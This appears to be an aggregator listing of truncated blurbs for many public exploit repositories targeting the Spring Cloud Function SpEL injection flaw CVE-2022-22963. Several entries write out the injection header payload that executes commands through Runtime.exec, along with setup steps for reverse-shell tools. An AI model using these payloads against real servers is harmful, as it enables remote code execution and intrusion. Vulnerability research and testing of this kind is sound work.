Spring-CVE

Spring CVE漏洞 这包括 CVE-2022-22963（一个 Spring SpEL / 表达式资源访问漏洞）以及 CVE-2022-22965（spring-webmvc/spring-webflux 远程代码执行漏洞，称为 "SpringShell"）。 CVE-2022-22963 在 Spring Cloud Function 3.1.6、3.2.2 及更早的不受支持版本中，当使用路由功能时，用户可以提供精心构造的 SpEL 作为路由表达式，可能导致远程代码执行和访问本地资源。 root@kitploit: python3 poc-CVE-2022-22963.py...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header root@kitploit: spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" build root@kitploit: wget...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header root@kitploit: spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" 构建 root@kitploit: wget...

CVE-2022-22963-POC

CVE-2022-22963 漏洞利用 描述 在 Spring Cloud Function 3.1.6、3.2.2 及更早的不受支持版本中，当使用路由功能时，用户可以提供特制的 SpEL 作为路由表达式，这可能导致远程代码执行并访问本地资源。更多详情请参见 CVE-2022-22963 详情。 基于 AayushmanThapaMagar 提供的 PoC，我正在创建一个简单的漏洞利用程序，从易受攻击的服务器获取反向 shell。 该项目的目的是简化漏洞测试并学习如何利用它。我稍后会添加关于此漏洞原因的更多细节。 需求 要运行此漏洞利用程序，你只需要 Docker。 使用方法...

CVE-2022-22963-Exploit

CVE-2022-22963 漏洞利用 该存储库包含一个基于 Rust 的漏洞利用程序，针对在 Spring Cloud Function 3.1.6、3.2.2 及更早的不受支持版本中发现的 CVE-2022-22963 漏洞。该漏洞允许通过将特制 Spring 表达式（SpEL）用作 routing-expression 来实现远程代码执行并访问本地资源。 描述 在 Spring Cloud Function 3.1.6、3.2.2 及更早的不受支持版本中，使用路由功能时，用户可以提供特制的 SpEL 作为 routing-expression，这可能导致远程代码执行并访问本地资源。...

cve-2022-22963

Spring Cloud Function SpEL - cve-2022-22963 Build root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22963.git $ cd cve-2022-22963 $ docker build . -t spring-spel-0day $ docker run -p 8080:8080 --name spring-spel-0day spring-spel-0day Payload root@kitploit:...

SpringCloudFunction-Research

SpringCloudFunction-Research CVE-2022-22963 research 環境 vulfocus/spring-cloud-function-rce:latest 成因 Request Header 中 spring.cloud.function.routing-expression 參數解析問題，造成注入Payload攻擊。 Reference https://hosch3n.github.io/2022/03/26/SpringCloudFunction%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/...

spring-cloud-function-rce

Spring Cloud Function SPEL表达式注入漏洞（CVE-2022-22963） Spring框架为现代基于java的企业应用程序在任何类型的部署平台上提供了一个全面的编程和配置模型。 Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理，造成Spel表达式注入，攻击者可通过该漏洞执行任意代码。 影响范围：3.0.0.RELEASE...

SpringExploitGUI

SpringExploitGUIv1.0 0x01 前言 ​ 今天复现了几个spring之前的漏洞，顺手就武器化了下，工具目前支持Spring Cloud Gateway RCECVE-2022-22947、Spring Cloud Function SpEL RCE CVE-2022-22963、Spring Framework RCE CVE-2022-22965 的检测以及利用，目前仅为第一个版本，后续会添加更多漏洞POC，以及更多的持久化利用方式 0x02 工具使用说明 单个检测 &&批量检测 工具支持单个漏洞单个目标检测，也支持多个目标检测 漏洞利用 Spring Cloud...

CVE-2022-22963

CVE-2022-22963 - Spring4shell 要运行有漏洞的SpringBoot应用程序，请运行这个docker容器，并将其暴露在8080端口。 示例： root@kitploit: docker run -it -d -p 8080:8080 bobcheat/springboot-public 漏洞利用 Curl命令： root@kitploit: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...

CVE-2022-22963

CVE-2022-22963 在Spring Cloud Function的3.1.6、3.2.2及更早版本中，当使用路由功能时，用户可能提供特制的SpEL作为路由表达式，从而导致远程代码执行和本地资源访问。 PoC 克隆仓库 root@kitploit: git clone https://github.com/jrbH4CK/CVE-2022-22963.git 进入文件夹 root@kitploit: cd CVE-2022-22963 更改执行权限 root@kitploit: chmode +x springCloud.sh 在所需端口启动nc root@kitploit: n...

CVE-2022-22963

CVE-2022-22963 spring cloud function sple rce spring cloud function 一键利用工具! by charis 博客https://charis3306.top/ 已打包为exe文件开箱即用 命令主题 root@kitploit: usage: Spring-cloud-function-spel0.2.exe -h --check CHECK --route ROUTE --url URL --ip IP --port PORT --proxies PROXIES --cmd CMD spring cloud function...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC Ligeramente modificado para la traducción al inglés y detección de https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py . Por defecto, se ejecuta whoami en el objetivo y se crea un archivo vulnerable.txt con las URLs que son...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function SpEL Expression Injection Remote Code Execution Vulnerability Detection and Exploitation Tool. Vulnerability Overview CVE-2022-22963 is a high-severity RCE vulnerability CVSS 9.8 in the routing functionality of Spring Cloud Function. When the application enabl...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 Spring-Cloud-Function-SpELRCE漏洞复现 需要有Docker环境 启动漏洞环境方式1 root@kitploit: git clone https://github.com/RanDengShiFu/CVE-2022-22963.git;cd CVE-2022-22963;bash Start.sh 启动漏洞环境方式2 root@kitploit: rm -rf CVE-2022-22963/;mkdir CVE-2022-22963/;cd CVE-2022-22963/;git clone...

CVE-2022-22963

CVE-2022-22963-Exploit-de-Shell-Inversa Este es un script de Python que explota CVE-2022-22963, una vulnerabilidad de ejecución remota de código en Spring Cloud Function que permite a atacantes ejecutar código arbitrario en un servidor vulnerable. El exploit utiliza el endpoint vulnerable...

CVE-2022-22963-PoC

CVE-2022-22963 远程代码执行 PoC 在 org.springframework.cloud:spring-cloud-function-core 中重现 CVE-2022-22963 远程代码执行的最小示例。 漏洞利用 运行服务器 root@kitploit: mvn spring-boot:run 发送请求 root@kitploit: curl -X POST -H 'spring.cloud.function.routing-expression: Tjava.lang.Runtime.getRuntime.exec"touch PWNED"' -d xxx...

CVE-2022-22963_Reverse-Shell-Exploit

CVE-2022-22963 리버스 셸 익스플로잇 이 Python 스크립트는 Spring Cloud Function의 원격 코드 실행 취약점인 CVE-2022-22963을 악용하여 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다. 이 익스플로잇은 취약한 /functionRouter 엔드포인트를 사용하여 대상 서버에서 명령을 실행합니다. 사용법 이 익스플로잇을 사용하려면 -u 옵션으로 취약한 서버의 URL을 지정하여 스크립트를 실행하기만 하면 됩니다. 스크립트는 서버가 취약한지 확인하고 사용자에게 리버스 셸을 시도할지...

Spring-Cloud-Function-SpEL

Spring-Cloud-Function-SpEL Puedes visitar el blog personal para más detalles https://pizz33.github.io/ Un entorno de prueba para la inyección de expresiones SpEL en Spring Cloud Function Versión java11, ejecuta java -jar demo-0.0.1-SNAPSHOT.jar para iniciar Una vez completada la configuración,...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Vulnerabilidad en Spring Cloud Function CVE-2022-22963 RCE Esta es una implementación en python de Spring4Shell, CVE-2022-22963, que afecta a servicios que ejecutan Spring Cloud Function =3.1.6 para 3.1.x y =3.2.2 para 3.2.x Combinación de múltiples POCs en línea Autor: Randall Banner Fecha:...